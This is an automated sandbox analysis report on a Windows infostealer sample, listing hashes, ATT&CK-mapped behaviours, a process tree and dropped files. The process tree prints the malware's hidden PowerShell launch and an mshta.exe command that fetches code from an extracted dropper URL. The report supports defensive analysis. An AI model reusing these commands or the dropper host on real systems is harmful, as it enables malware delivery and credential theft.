55c7b5643f0b2b8b0edc8767e5c8700ad94523c43f9d41833a0e5772ccc0e608

Analysis

max time kernel
299s
max time network
304s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/05/2026, 23:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
hjbk.exe
Size 8.2MB
Sample260528-3kw61set2y
SHA256 55c7b5643f0b2b8b0edc8767e5c8700ad94523c43f9d41833a0e5772ccc0e608
MD5 c85251b07a0fe84b234b3236f93b35a8
SHA1 1e94da425159bbc6fae949d0142329e7fa6895db
SHA512 ec9ad88574fa0e26167fb5156c6835fe6f7e7e44cc71da52ebf51a6754b3a12c978d3d1ce4614ee502cee584351fe886c2303448c808bcd9cf0501efd9487235
SSDEEP 49152:yeJa/614UdpaBKNYh9MQZfBkCsICYXvAh:y/5mNYh24fBkgj/c
TLSH
T127968C567CE008EAD0AA633289F762957BB1BC090F7263D72E9073382FB26E45D75744
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware defense_evasion discovery execution persistence spyware stealer

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ultahost.gl

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2500	4764	taskkill.exe	109

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 1900 created 3224	1900	xuQOJofLc32HfzuEZ6e61OHy.exe	54
PID 4128 created 3224	4128	c2JDOfxC_bTh6EN9kWKljUZH.exe	54

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
31	3044	mshta.exe
32	3044	mshta.exe
34	3044	mshta.exe
35	3044	mshta.exe
36	3044	mshta.exe
37	3044	mshta.exe
38	3044	mshta.exe
40	3044	mshta.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2460	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	2444	hjbk.exe

Executes dropped EXE 2 IoCs

pid	Process
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.myip.com
3	api.myip.com

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xuQOJofLc32HfzuEZ6e61OHy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c2JDOfxC_bTh6EN9kWKljUZH.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4884	chrome.exe
4172	chrome.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2500	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Internet Explorer\Styles	mshta.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Internet Explorer\Styles\MaxScriptStatements = "10000000"	mshta.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
1404	chrome.exe
1404	chrome.exe
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe
2248	chrome.exe
2248	chrome.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
2460	powershell.exe
2460	powershell.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1900	xuQOJofLc32HfzuEZ6e61OHy.exe
4128	c2JDOfxC_bTh6EN9kWKljUZH.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeSecurityPrivilege	3044	mshta.exe
Token: SeSecurityPrivilege	3044	mshta.exe
Token: SeDebugPrivilege	2500	taskkill.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
1404	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3300	conhost.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 2444 wrote to memory of 1900	2444	hjbk.exe	82
PID 2444 wrote to memory of 4128	2444	hjbk.exe	83
PID 1900 wrote to memory of 1404	1900	xuQOJofLc32HfzuEZ6e61OHy.exe	85
PID 1404 wrote to memory of 1160	1404	chrome.exe	86
PID 1404 wrote to memory of 5084	1404	chrome.exe	87
PID 1404 wrote to memory of 5084	1404	chrome.exe	87
PID 1404 wrote to memory of 4884	1404	chrome.exe	88
PID 1404 wrote to memory of 4496	1404	chrome.exe	89
PID 1404 wrote to memory of 4496	1404	chrome.exe	89
PID 1404 wrote to memory of 1864	1404	chrome.exe	90
PID 1404 wrote to memory of 1864	1404	chrome.exe	90
PID 1404 wrote to memory of 5064	1404	chrome.exe	91
PID 1404 wrote to memory of 5064	1404	chrome.exe	91
PID 1404 wrote to memory of 1780	1404	chrome.exe	93
PID 1404 wrote to memory of 1780	1404	chrome.exe	93
PID 1404 wrote to memory of 1628	1404	chrome.exe	95
PID 1404 wrote to memory of 1628	1404	chrome.exe	95
PID 4128 wrote to memory of 2248	4128	c2JDOfxC_bTh6EN9kWKljUZH.exe	96
PID 2248 wrote to memory of 1712	2248	chrome.exe	97
PID 2248 wrote to memory of 4960	2248	chrome.exe	98
PID 2248 wrote to memory of 4960	2248	chrome.exe	98
PID 2248 wrote to memory of 4172	2248	chrome.exe	99
PID 2248 wrote to memory of 2564	2248	chrome.exe	101
PID 2248 wrote to memory of 2564	2248	chrome.exe	101
PID 2248 wrote to memory of 2676	2248	chrome.exe	102
PID 2248 wrote to memory of 2676	2248	chrome.exe	102
PID 2248 wrote to memory of 1620	2248	chrome.exe	103
PID 2248 wrote to memory of 1620	2248	chrome.exe	103
PID 2248 wrote to memory of 2468	2248	chrome.exe	104
PID 2248 wrote to memory of 2468	2248	chrome.exe	104
PID 2248 wrote to memory of 2372	2248	chrome.exe	105
PID 2248 wrote to memory of 2372	2248	chrome.exe	105
PID 1900 wrote to memory of 2460	1900	xuQOJofLc32HfzuEZ6e61OHy.exe	106
PID 2460 wrote to memory of 3044	2460	powershell.exe	108
PID 3300 wrote to memory of 584	3300	conhost.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3224
- C:\Users\Admin\AppData\Local\Temp\hjbk.exe
  "C:\Users\Admin\AppData\Local\Temp\hjbk.exe"
  2⤵
  - Downloads MZ/PE file
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Users\Admin\Documents\Screenshot album\xuQOJofLc32HfzuEZ6e61OHy.exe
    "C:\Users\Admin\Documents\Screenshot album\xuQOJofLc32HfzuEZ6e61OHy.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -NonInteractive -WindowStyle Hidden -Command -
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2460
    - - C:\Windows\System32\mshta.exe
        
        "C:\Windows\System32\mshta.exe" https://ultahost.gl
        5⤵
        Badlisted process makes network request
        Modifies Internet Explorer settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:3044
- - C:\Users\Admin\Documents\Screenshot album\c2JDOfxC_bTh6EN9kWKljUZH.exe
    "C:\Users\Admin\Documents\Screenshot album\c2JDOfxC_bTh6EN9kWKljUZH.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:4128
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --new-window
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb614c728,0x7ffbb614c734,0x7ffbb614c740
    3⤵
    PID:1160
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1656,i,2860052016145719920,11695663739415575307,262144 --field-trial-handle=1972,i,13195665501421156179,11444138205110620288,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1968 /prefetch:2
    3⤵
    PID:5084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2240,i,9186835794763316992,13410497824854163125,524288 --field-trial-handle=1972,i,13195665501421156179,11444138205110620288,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2248 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2376,i,15646882075968717338,15063647219161542450,524288 --field-trial-handle=1972,i,13195665501421156179,11444138205110620288,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2692 /prefetch:13
    3⤵
    PID:4496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3108,i,14788193660783088367,2635061845709946631,2097152 --field-trial-handle=1972,i,13195665501421156179,11444138205110620288,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3160 /prefetch:1
    3⤵
    PID:1864
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3112,i,6709733742039865613,4318655034742523496,2097152 --field-trial-handle=1972,i,13195665501421156179,11444138205110620288,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3180 /prefetch:1
    3⤵
    PID:5064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4232,i,8083732872602670364,2583236337734380856,2097152 --field-trial-handle=1972,i,13195665501421156179,11444138205110620288,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4248 /prefetch:9
    3⤵
    PID:1780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4552,i,7828442180116653869,1264175097194861946,2097152 --field-trial-handle=1972,i,13195665501421156179,11444138205110620288,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4512 /prefetch:1
    3⤵
    PID:1628
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --new-window
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb614c728,0x7ffbb614c734,0x7ffbb614c740
    3⤵
    PID:1712
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1676,i,3631680180353701218,17589508764162973262,262144 --field-trial-handle=2016,i,13952212969704299019,3018470519353568981,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2012 /prefetch:2
    3⤵
    PID:4960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1460,i,13739098610477620304,16482857719112797250,524288 --field-trial-handle=2016,i,13952212969704299019,3018470519353568981,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2308 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4172
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2364,i,426868895152229638,8300205631877222836,524288 --field-trial-handle=2016,i,13952212969704299019,3018470519353568981,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2716 /prefetch:13
    3⤵
    PID:2564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3228,i,5035690839997151112,13789306553104621215,2097152 --field-trial-handle=2016,i,13952212969704299019,3018470519353568981,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3232 /prefetch:1
    3⤵
    PID:2676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3256,i,17299203501648553092,12223320459414283587,2097152 --field-trial-handle=2016,i,13952212969704299019,3018470519353568981,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3388 /prefetch:1
    3⤵
    PID:1620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4172,i,15507338702718304079,6111046946452477775,2097152 --field-trial-handle=2016,i,13952212969704299019,3018470519353568981,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4224 /prefetch:9
    3⤵
    PID:2468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4532,i,9341564942112115841,2736656035232668201,2097152 --field-trial-handle=2016,i,13952212969704299019,3018470519353568981,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4516 /prefetch:1
    3⤵
    PID:2372

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3812

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4100

C:\Windows\system32\conhost.exe
conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:584

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:3464

C:\Windows\system32\taskkill.exe
taskkill /F /IM mshta.exe
1⤵
- Process spawned unexpected child process
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2500

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

08f285df-0426-4349-a5ab-58f427d29a2e.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\08f285df-0426-4349-a5ab-58f427d29a2e.tmp
Size 115KB
SHA256 aee44341744a1976c2bedefd33b797a589a67e44fe183efa992de9b720b06233
MD5 00d7fe0df04a306ce6c79d29415f53e1
SHA1 6bfa45f8ad90a8b8061adf9743451f3e1c943f95
SHA512 7c4e735db32411481e594106f6269b379d7b0201a614e6f7d56946022b437d589fce64009380083cfa71a892e0ca4e28d8e627464728a93de8db6504a407614f
SSDEEP 3072:nGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM3:Gm7Rkm1tYpBeh2BAo3
TLSH
T1A1C312375E70E9365979AB0EB48E0B1F2EF14DA6C930DE92C8D85A0437E97CC1A45E34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 db1c0ac2d59dc903b3d97110c1e0a55b6f2d9bb2b48309e4b410d61dcc8aa42c
MD5 c2bec69f0da59e4b81d226a73cd2484a
SHA1 2648a24bbeed54ec12eb0d18dd566cfdc9bb3112
SHA512 dadd3ecd43a878c233c58c03d1d82002b2b7769f511d76c1b7369c560e7a5eddce1c5a4775c97feb3987584d57bfd4858f4ad59ec008abb8e041cce042bee4e9
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 38aeb578be126b62ec74475847b749e6922b841f422eb6ddf2cfe899fbd8deba
MD5 b34221ad549f2812b638d94e59a6f56e
SHA1 895599752246187cd99b6cdf6de3292aa72a0351
SHA512 1af03fee721965dfd9e5dbd510a4471d598aafc8131bc97be1d9b01339c1aa0b8317b0e6ac7726eb80e9771c98099f09710c9d3f5905c1b7dcd3cef9c687a17d
SSDEEP 12:d7X7QTxlZtdmQ+t74vMC74vXukzjkuAv72/e:d7rWxllmmcXukXNAT5
TLSH
T12913173CC9559E07C540C574498B1F305732D504D733261BFC2171AA2B4A6550993F3C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 1b70abd1c87cc887cebf64ec42b82b6176dc9f36e81d8c2aa6cc5e294b0683bf
MD5 84ea41f1b39bb48ad8f02f1d9d8021e9
SHA1 44ad520623e337784df5d7a36024c3d473968f58
SHA512 a8788f38c5758062b53fcd34cd6fe1a694df94a63e395d9a81fbf279b0d745e2a70db7cd13dfff16eeed3b1cbe59282aec0217ad1c5613ba20388a2e48b18a56
SSDEEP 48:NkYOX5c1DXM1XglXFMmXWveRydVEPLVBKWwtl:NRu5c1DXugl1jW26VOLHKWol
TLSH
T1E04462F70D04EAD7D729CBB45C41923C8F3387262D99AEB5F12844A216908E73028AB6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG
Size 317B
SHA256 8635d6f25caf7e318be99caeeb12de1697e5fbfa7a4f9c5abc1d25eba41a838f
MD5 3652efd80bc914d33a57631929179cca
SHA1 ab2aa168d2cb27cba8ef81479b8f74decd2b9b83
SHA512 c1620a077969d713da5f22203ad6abf1a846ca36704bba8435a5996d674c3db4f655acac3a784d0d891572411d56b63d793d1fd3ab3e3bf6a8209e5206e4c5c2
TLSH
T1B8E02688269AC1AE405486B38B68638DCBD13409A3DC3902070AE44471CC5046ADA680
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG
Size 332B
SHA256 7bc358f9e7a99c713ffbb0653f7705d5b9b5db8d0b846be32333e888f3fad2fe
MD5 ce05fdd528404a8901d1158c1833c577
SHA1 6c0e50b8a1411e17372791b1682e59cd7e6e441e
SHA512 bf2e7ccb0e5bac8501c3f7b7b11923a7360724f6192d822906c91a86c768d1aa44cba12ef3a0ab753da73f3994748770f51a1e1c5b2e9b285531c64360a64e75
TLSH
T168E0DF6A269F916E114C81BB9324734ECBF13505E6CDBF024B10E59AB08C408AAC5682
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
